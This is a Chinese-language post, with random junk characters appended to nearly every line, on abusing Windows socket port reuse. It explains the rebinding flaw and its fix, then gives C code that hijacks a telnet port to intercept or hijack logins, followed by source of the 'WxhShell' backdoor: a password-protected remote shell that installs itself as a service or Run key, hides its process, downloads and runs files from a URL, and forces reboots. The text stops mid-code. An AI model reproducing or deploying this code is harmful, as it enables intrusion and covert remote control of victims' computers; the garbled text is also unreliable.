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利用VC实现端口复用

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <Cn-MOoM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AdR}{:ia  
v7xc01x  
  saddr.sin_family = AF_INET; N\<M4 fn  
a:v&pj+|<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %k5^n0|*  
Fag%#jxI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h-Ffs  
VmV/~-<Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !W .ooy5(  
m~#98ZJ^  
  这意味着什么?意味着可以进行如下的攻击: F.^1|+96  
>$?$&+e}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z?CmD ;W  
q\[f$==p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >%'|@75K  
/nGsl<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hJ+>Xm@@!  
9q;+ Al^Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^hRos  
b":cj:mxL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YM/GSSq  
Rb|\!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1+.(N:) +  
"qR qEpD%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OAR#* ~q  
7p@qzE  
  #include /wH]OD{  
  #include W32bBzhL  
  #include 1[:?oEI  
  #include    I[@}+p0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Jc(tV(z  
  int main() yG2j!D  
  { Nt'(JAZ;  
  WORD wVersionRequested; SA)}---"  
  DWORD ret; #3\F<AJ<VB  
  WSADATA wsaData; u])N^AY"sj  
  BOOL val; *";,HG?|Iz  
  SOCKADDR_IN saddr; Ql3hq.E  
  SOCKADDR_IN scaddr; ~t.*B& A  
  int err; E@Q+[~H}  
  SOCKET s; &0*j nb  
  SOCKET sc; x.xfMM2n  
  int caddsize; D CcM~  
  HANDLE mt; '8}*erAg  
  DWORD tid;   ja#E}`wC4  
  wVersionRequested = MAKEWORD( 2, 2 ); : H0+}=  
  err = WSAStartup( wVersionRequested, &wsaData ); 3?.3Z!H/  
  if ( err != 0 ) { E+]gC  
  printf("error!WSAStartup failed!\n"); `N]!-=o  
  return -1; u-f_,],p  
  } al(t-3`<  
  saddr.sin_family = AF_INET; !#5RP5,,Y  
   |!aMj8i2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E,>/6AU  
O*`] ]w]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VSL6tQp  
  saddr.sin_port = htons(23); G= !Gy.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (6L[eWuTn  
  { 8^CL:8lI^\  
  printf("error!socket failed!\n"); fnN"a Z  
  return -1; gp$oQh#37;  
  } wtu WzHrF  
  val = TRUE; Z455g/=ye  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $NWXn,Y'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N3!x7J7A  
  { 7D@O:yO  
  printf("error!setsockopt failed!\n"); >Ke4lO"  
  return -1; F)z]QJOw  
  } ?MHVkGD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `p|{(g'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5<0&y3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <=W;z=$!Bb  
T&H[JQ/h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WSz#g2a  
  { xrFFmQ<_W  
  ret=GetLastError(); )}0(7z Yu  
  printf("error!bind failed!\n"); j,Eo/f+j5  
  return -1; ] bz']`  
  } %V%*0S|U  
  listen(s,2); }q^M  
  while(1) `b=?z%LuT  
  {  W>.KV7  
  caddsize = sizeof(scaddr); K@)Hm\*  
  //接受连接请求 EC<g7_0F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gg]>S#^3  
  if(sc!=INVALID_SOCKET) $Y5R^Y  
  { .J6Oiv.E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qL/4mM0  
  if(mt==NULL) ^i&sQQ( {  
  { a^ hDxeG  
  printf("Thread Creat Failed!\n"); ODyK/Q3  
  break; k1e0kxn  
  } "94e-Nx  
  } UA>UW!I  
  CloseHandle(mt); f"\G"2C  
  } (j@3=-%6G  
  closesocket(s); 0 XxU1w8\V  
  WSACleanup(); s"7wG!yf  
  return 0; bS=aFl#  
  }   ] lE6:^V  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0>} FNRC  
  { h:\WW;s[B  
  SOCKET ss = (SOCKET)lpParam; C_mPw  
  SOCKET sc; a/A$ MXZ_  
  unsigned char buf[4096]; J!b v17H"  
  SOCKADDR_IN saddr; pTT7#b(t  
  long num; 9+k7x,  
  DWORD val; Km7HB!=<  
  DWORD ret; 1:h{( %`&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kTZ`RW&0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]a F,r"  
  saddr.sin_family = AF_INET; +Wrj%}+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); TPEg>[  
  saddr.sin_port = htons(23); i0; p?4`m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *p0n{F9  
  { K;^$n>Y  
  printf("error!socket failed!\n"); "#anL8  
  return -1; D/[(}o(  
  } \bNN]=  
  val = 100; xfZ.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9y"R,  
  { 6c>cq\~E  
  ret = GetLastError(); 96x$Xl;  
  return -1; | #Z+s-  
  } "Qj;pqR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r%QTUuRXC3  
  { In<L?U?([D  
  ret = GetLastError(); 3 (Bd`=9  
  return -1; =|_:H$94  
  } <Yif-9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E_ #MQ;n  
  { yE1M+x./  
  printf("error!socket connect failed!\n"); 5$9g4  
  closesocket(sc); ye !}hm=w  
  closesocket(ss); lJ1_Zs `  
  return -1; 0/z=G!z\  
  } JDeG@N$  
  while(1) @Cg%7AF  
  { Z7>pz:,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y;aZMT.YI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b|F4E{{D^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YL*yiZ9  
  num = recv(ss,buf,4096,0);  ntK#7(U'  
  if(num>0) .h O ) R.  
  send(sc,buf,num,0); /E8{:>2  
  else if(num==0) Jse;@K5y  
  break; 2 u:w  
  num = recv(sc,buf,4096,0); wtlIyE  
  if(num>0) >#~!03  
  send(ss,buf,num,0); 4B? 8$&b  
  else if(num==0) $3.hZx>  
  break; av|r^zc  
  } 2wCTd:e:  
  closesocket(ss); kYMKVR  
  closesocket(sc); 2GB)K?1M  
  return 0 ; /B eA-\B  
  } ?5@!r>i=<  
EMK>7 aks  
B. '&[A  
========================================================== "*E06=fiG  
mY!os91KoO  
下边附上一个代码,,WXhSHELL =SMI,p&  
-CePtq`  
========================================================== W:s`;8iM$  
++{,1wY\  
#include "stdafx.h" g>].m8DZ'  
/*Xr^X6  
#include <stdio.h> E d6k7  
#include <string.h> 2L?jp:$;X  
#include <windows.h> }_,1i3Rip  
#include <winsock2.h> W%$sA}O  
#include <winsvc.h> %#7NCdk;S  
#include <urlmon.h> i b$2qy  
|KH981  
#pragma comment (lib, "Ws2_32.lib") }C6RgE.6<  
#pragma comment (lib, "urlmon.lib") abAX)R'  
H$G`e'`OZ  
#define MAX_USER   100 // 最大客户端连接数 N`o[iHUj \  
#define BUF_SOCK   200 // sock buffer )g;*u,C  
#define KEY_BUFF   255 // 输入 buffer {DfXn1Cg0U  
Rb!V{jQ  
#define REBOOT     0   // 重启 pCOtk'n  
#define SHUTDOWN   1   // 关机 {k:W?`  
W_JFe(=3,  
#define DEF_PORT   5000 // 监听端口 rt +a/:4+  
$Sg5xkV,a  
#define REG_LEN     16   // 注册表键长度 E(%_aFx>/  
#define SVC_LEN     80   // NT服务名长度 9:[L WT&  
j_w"HiNBA  
// 从dll定义API i6Zsn#Z7)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _d<xxF^q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O4Z_v%2M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FR5P;Yz%H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); acG4u+[ ]  
Z@i"/~B|4\  
// wxhshell配置信息 Lt|'("($*  
struct WSCFG { :U>[*zE4&  
  int ws_port;         // 监听端口 St`3Z/|h  
  char ws_passstr[REG_LEN]; // 口令 <d`ksZ+  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jw -?7O  
  char ws_regname[REG_LEN]; // 注册表键名 Ng=_#<  
  char ws_svcname[REG_LEN]; // 服务名 xMOq/" )  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yDl{18~zv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3n ~n-Jo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Ql77?&k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yAyq-G"sO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <Sn;k[M}d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S! Z2aFj  
9?xD"Z   
}; E$8 D^Zt  
r:xbs0 7  
// default Wxhshell configuration L+GVB[@3Y  
struct WSCFG wscfg={DEF_PORT, PP1?UT=]  
    "xuhuanlingzhe", * |dz.Tr  
    1, >^odV ;^  
    "Wxhshell", =uG}pgh0  
    "Wxhshell", BNj@~uC{  
            "WxhShell Service", 4ju=5D];   
    "Wrsky Windows CmdShell Service", o$Jop"To  
    "Please Input Your Password: ", C*C;n4AT  
  1, JI5%fU%O#n  
  "http://www.wrsky.com/wxhshell.exe", k/lU]~PE  
  "Wxhshell.exe" 39!$x[  
    }; p$S\l] ,  
f[wA ]&  
// 消息定义模块 vGIe"$hNh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C]- !u Ly  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qcWY8sYf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .5s#JL  
char *msg_ws_ext="\n\rExit."; v-utDQT3  
char *msg_ws_end="\n\rQuit."; D~^P}_e.  
char *msg_ws_boot="\n\rReboot..."; ,JU3 w  
char *msg_ws_poff="\n\rShutdown..."; #uc9eh}CWO  
char *msg_ws_down="\n\rSave to "; j92X"yB  
d~hN`ff  
char *msg_ws_err="\n\rErr!"; Vs"1:gi&  
char *msg_ws_ok="\n\rOK!"; gt>k]0  
WR<,[*Mv^  
char ExeFile[MAX_PATH]; OZ SM2~  
int nUser = 0; c04;2gR  
HANDLE handles[MAX_USER]; ;1[a*z<l&s  
int OsIsNt; 50E?K!  
l>t0 H($  
SERVICE_STATUS       serviceStatus; +m>)q4e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :4\=xGiY  
J]-z7<j']  
// 函数声明 B3';Tcs  
int Install(void); aS $ J `  
int Uninstall(void); %@ ,! (  
int DownloadFile(char *sURL, SOCKET wsh); ~'.SmXZs  
int Boot(int flag);  WBd$#V3  
void HideProc(void); EjF2mkA*  
int GetOsVer(void); .0a,%o 8n  
int Wxhshell(SOCKET wsl); 6o cTQ}=  
void TalkWithClient(void *cs); ?cvV~&$gc  
int CmdShell(SOCKET sock); r`OC5IoQ  
int StartFromService(void); 0nu&JQ  
int StartWxhshell(LPSTR lpCmdLine); b;2[E/JKB  
Hl*V i3bQU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -(Fhj Ir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n@PXC8}  
`P4 3O gA  
// 数据结构和表定义 />0 Bm`A  
SERVICE_TABLE_ENTRY DispatchTable[] = >U9JbkeF  
{ "?n;dXYSi  
{wscfg.ws_svcname, NTServiceMain}, +YFAZv7`  
{NULL, NULL} cAQ_/>  
}; Vm8rQFCp74  
\b6vu^;p  
// 自我安装 $p)e.ZMgE  
int Install(void) %8hx3N8>  
{ PJn|  
  char svExeFile[MAX_PATH]; yBYZ?gc  
  HKEY key; _7bQR7s  
  strcpy(svExeFile,ExeFile); G pC*w ~  
h2_A'  
// 如果是win9x系统,修改注册表设为自启动 F`e o3z  
if(!OsIsNt) { a)qlrtCl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9\S,$A{{*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UV#DN`%n  
  RegCloseKey(key); ][ V@t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.(<IcSG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zEMZz$Y  
  RegCloseKey(key); tm|YUat$]r  
  return 0; :={rPj-nU  
    } 6-t:eo9  
  } 9H%dK^C  
} OBEHUJ5  
else { o @(.4+2m  
iQ8T3cC+  
// 如果是NT以上系统,安装为系统服务 pm>$'z!.):  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u$Ty|NBjn  
if (schSCManager!=0) 4SNDKFw  
{ 3:mZ1+  
  SC_HANDLE schService = CreateService mrGfu:r  
  ( >MLP mER  
  schSCManager, h{/lW#[  
  wscfg.ws_svcname, n qC@dHP  
  wscfg.ws_svcdisp, GWCU 9n  
  SERVICE_ALL_ACCESS, K4vOy_wT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  8\Uy  
  SERVICE_AUTO_START, gaC [%M  
  SERVICE_ERROR_NORMAL, :7L[v9'  
  svExeFile, Cb i;CF\{  
  NULL, k* e $_  
  NULL, ]uZaj?%J<  
  NULL, Dk#4^`qp1  
  NULL, pdq5EUdS  
  NULL SpA-E/el  
  ); *OU&`\bmE  
  if (schService!=0) fI"OzIJV  
  { VxqoE]Dh  
  CloseServiceHandle(schService); i@o'Fc  
  CloseServiceHandle(schSCManager); B.F~/PET  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T;1aL4w"  
  strcat(svExeFile,wscfg.ws_svcname); bS&XlgnKi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^"GDaMF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^CfWLL& c  
  RegCloseKey(key); ,wB)hp  
  return 0; a?]~Sw"@  
    } [+(fN  
  } c1}i|7/XSi  
  CloseServiceHandle(schSCManager); ewOe A|  
} \o<&s{ 6L  
} #%{x*y:Ms  
01">$  
return 1; R&@NFin  
} 8!|LJI  
LLU]KZhtY|  
// 自我卸载 8<_dNt'91  
int Uninstall(void) HbMD5(  
{ ( yv)zg9  
  HKEY key; Ji e=/:&  
@s8wYcW  
if(!OsIsNt) { uXm}THI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AVi,+n  
  RegDeleteValue(key,wscfg.ws_regname); Xp?WoC N  
  RegCloseKey(key); E, ;'n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5.U4P<qS  
  RegDeleteValue(key,wscfg.ws_regname); Mp_SL^g|  
  RegCloseKey(key); U*cWNn:."  
  return 0; kPezR: 31  
  } J"?jaa2~  
} 7z9[\]tt  
} ~M9&SDT/lB  
else { ; -,VJCPi  
o)sX?IiC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3bZ:*6W.6  
if (schSCManager!=0) :IRQouTf:,  
{ GN=-dLN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~4=XYYcka  
  if (schService!=0) iL;{]A'0  
  { t`G<}t  
  if(DeleteService(schService)!=0) { I7?s+vyds  
  CloseServiceHandle(schService); s&D>'J  
  CloseServiceHandle(schSCManager); :~LOw}N!aQ  
  return 0; Po7oo9d  
  } )Kg _E6  
  CloseServiceHandle(schService); 2U rE>_  
  } XT{o ]S~nq  
  CloseServiceHandle(schSCManager); ROj9#:  
} r`A|2(h5B  
} 4\iy{1{E,C  
tr$d?  
return 1; Bs';!,=  
} n{E9p3i  
aB)G!Rm&  
// 从指定url下载文件 z18<rj  
int DownloadFile(char *sURL, SOCKET wsh) sV-UY!   
{ !WNO!S0/j  
  HRESULT hr; oG' 'my#3  
char seps[]= "/"; n~'cKy )m  
char *token; $x;(C[  
char *file; &O|qx~(  
char myURL[MAX_PATH]; UmOK7SPi  
char myFILE[MAX_PATH]; qd@Fb*  
Bt(U,nFB  
strcpy(myURL,sURL); (/gMtIw  
  token=strtok(myURL,seps); )g[7XB/w  
  while(token!=NULL) (F'?c1  
  { 6;p"xC-  
    file=token; *#c^.4$'  
  token=strtok(NULL,seps); M(#]NTr ~4  
  } YnW,6U['{g  
eDL0Vw  
GetCurrentDirectory(MAX_PATH,myFILE); g#r,u5<*?  
strcat(myFILE, "\\"); ~vstuRRST  
strcat(myFILE, file); eGi|S'L'  
  send(wsh,myFILE,strlen(myFILE),0); Ep8 y  
send(wsh,"...",3,0); MUR Hv3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z.3*sp0 yv  
  if(hr==S_OK) $##LSTA  
return 0; YfJQ]tt 1  
else D~r{(u~Ya  
return 1; "= >8UR  
*FC26_pH  
} EQ2HQz ]  
v0,&wdi  
// 系统电源模块 e|Mw9DIW  
int Boot(int flag) $X]Z-RCK3  
{ R*>EbOuI  
  HANDLE hToken; Yy4l -}"  
  TOKEN_PRIVILEGES tkp; 7U`8W\-  
PLs(+>H  
  if(OsIsNt) { 8Lh[>|~=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -< }#ImTN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z[*Y%o8-r  
    tkp.PrivilegeCount = 1; L; 'C5#GN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?v$1 Fc55  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QI{<q<  
if(flag==REBOOT) { _[8sL^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $[g8j`or!  
  return 0; 4KZ)`KPE  
} &8@ a"  
else { c%x.cbu>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y3!#*NU  
  return 0; mFJb9 ,  
} :B1a2Y^"  
  } S<nbNSu6+  
  else { ah|`),o(k  
if(flag==REBOOT) { X:d[eAu0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P(Z\y^S  
  return 0; Ops""#Zi  
} @W\ H%VR  
else { ^5 ~)m6=2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Lqo^+0)\  
  return 0; D[bPm:\0M  
} iYb{qv_4  
} avEsX_.  
&ZAc3@l[c  
return 1; "MU)8$d  
} .8/W_iC92  
/<it2=  
// win9x进程隐藏模块 Zm#qW2a]P  
void HideProc(void) Y"'k $jS-  
{ VDC"tSQ  
'QxPQ cU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5HMDug;   
  if ( hKernel != NULL ) jW0aIS2O  
  { YV"LM6`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ">rt *?^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cswa5 l`af  
    FreeLibrary(hKernel); @ )m9#F  
  } l527>7 eT  
FN295:Iuw  
return; P<s:dH"  
} (h>+ivf|  
-[-Ry6G  
// 获取操作系统版本 2Wq/_:  
int GetOsVer(void) u}BN)%`B  
{ hP26Bb1  
  OSVERSIONINFO winfo; atWB*kqI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6Rc%P)6  
  GetVersionEx(&winfo); Z'|A>4\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QE%|8UFY  
  return 1; ts~$'^K[-  
  else ybgAyJ{J<  
  return 0; AAld2"r  
} IX y  $  
qD/FxR-!  
// 客户端句柄模块 E?3$ *t  
int Wxhshell(SOCKET wsl) TM1J1GU  
{ N6*v!M+  
  SOCKET wsh; .W q"  
  struct sockaddr_in client; ~L=Idt!9  
  DWORD myID; jj*e.t:F  
7COJ.rA  
  while(nUser<MAX_USER) tx{tIw^2;  
{ i=8){G X4  
  int nSize=sizeof(client); V0'_PR@;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &yQM 8J~  
  if(wsh==INVALID_SOCKET) return 1; I0]"o#Lj T  
>Gyg`L\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ht@s!5\LK  
if(handles[nUser]==0) I6,sN9` K  
  closesocket(wsh); 6mbHfL>cO  
else d( +E0  
  nUser++; XG_Iq ,  
  } UON W3}-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7]6HXR@  
A1nEp0%Y  
  return 0; PM!7ci  
} sT"h)I)]*  
{ei,>5K  
// 关闭 socket w=S7zzL)  
void CloseIt(SOCKET wsh) /]*#+;;%  
{ A`qb5LLJ)  
closesocket(wsh); %l8nTcL_?  
nUser--; $>mTPNF  
ExitThread(0); 8GD!]t#  
} ]VS$ ?wD  
=\l7k<  
// 客户端请求句柄 ; (;J  
void TalkWithClient(void *cs) Mb0cdK?hA  
{ >J[Wd<~t  
B[rxV  
  SOCKET wsh=(SOCKET)cs; (G:K?o)  
  char pwd[SVC_LEN]; I+^B] @"  
  char cmd[KEY_BUFF]; 9#AsSbBpf  
char chr[1]; @43o4,  
int i,j; >f*[U/{ K  
a>{b'X^LV  
  while (nUser < MAX_USER) { c(<,qWH  
HN*w(bROr  
if(wscfg.ws_passstr) { 'hM?J*m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _F1{<" 4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }uE8o"q  
  //ZeroMemory(pwd,KEY_BUFF); Ghgo"-,#  
      i=0; ii :h E=  
  while(i<SVC_LEN) { "nK(+Z  
#e:*]A'I  
  // 设置超时 &i~AXNw  
  fd_set FdRead; De*Z UN|<  
  struct timeval TimeOut; n|oAfJUk,  
  FD_ZERO(&FdRead);  T8i9  
  FD_SET(wsh,&FdRead); ZP& "[_  
  TimeOut.tv_sec=8; Q`]E l<$  
  TimeOut.tv_usec=0; kFG>Km(y}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hp E?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vZns,K#4H\  
uUczD 8y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R.EA5X|_  
  pwd=chr[0]; )A4WK+yD$z  
  if(chr[0]==0xd || chr[0]==0xa) { Y+#e| x  
  pwd=0; 7gV"pa  
  break; `[;b#.  
  } 6_wf $(im  
  i++; $MmCh&V  
    } .qioEqK8!y  
ReCmv/AE  
  // 如果是非法用户,关闭 socket d&p]O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aO]0|<2 j  
} kxg]sr"  
'`Smg3T!~S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wOy1i/oj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y^gazr"  
k]Y#-Q1p~  
while(1) { `1NxS35u  
:I5]|pt  
  ZeroMemory(cmd,KEY_BUFF); Ha\q}~_  
!j)H !|R  
      // 自动支持客户端 telnet标准   lq$1CI  
  j=0; gq6C6   
  while(j<KEY_BUFF) { [Pdm1]":(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r'p;Nj.  
  cmd[j]=chr[0]; $+<X 1  
  if(chr[0]==0xa || chr[0]==0xd) { jG0{>P#+  
  cmd[j]=0; +_?;%PKkuF  
  break; FV/X&u8~  
  } PZF>ia}  
  j++; d{f3R8~Q.  
    } <)zh2UI  
B(mxW8y  
  // 下载文件 EO,;^RtB  
  if(strstr(cmd,"http://")) { A`7uw|uO$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6$>m s6g%  
  if(DownloadFile(cmd,wsh)) N1KYV&'o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SPIYB/C  
  else <=V2~ asB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KLXv?4!  
  } l{4=La{?j  
  else { ^)b*"o  
!+.|T9P  
    switch(cmd[0]) { )Xa`LG =|  
  /c`)Er 6d  
  // 帮助 Y]b5qguK  
  case '?': { OxqbHe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :YB:)wV,P  
    break; ML0o :8Bd\  
  } e:V(kzAY;  
  // 安装 A^JeB<, 5a  
  case 'i': { <>f  
    if(Install()) M%:ACLYP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' %OQd?MhL  
    else }VE[W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O!z H5  
    break; e+=Ojo#  
    } >#R<*?*D}  
  // 卸载 ~\K+)(\SNp  
  case 'r': { "gdm RE{x  
    if(Uninstall()) ASAz<H$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d'Z|+lq:  
    else Z\xR+3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nora<  
    break; b^PYA_k-Xn  
    } O!sZMGF$p  
  // 显示 wxhshell 所在路径 E/(:\Cm^  
  case 'p': { KS'? DO  
    char svExeFile[MAX_PATH]; :9c QK]O6  
    strcpy(svExeFile,"\n\r"); Mno4z/4{A  
      strcat(svExeFile,ExeFile); xrO:Y!C?  
        send(wsh,svExeFile,strlen(svExeFile),0); c\.4I4uy  
    break; [dsH0 D&T  
    } jh`&c{#*)M  
  // 重启 gyieSXz[  
  case 'b': { FgRlxz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YmHn*N}:U  
    if(Boot(REBOOT)) L1.<LB^4'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7-QOqST(  
    else { !yH&l6s  
    closesocket(wsh); @6ZQkX/  
    ExitThread(0); VbK| VON[  
    } }MrR svN  
    break; S'V0c%'QQV  
    } DI**fywu[3  
  // 关机 9wC q  
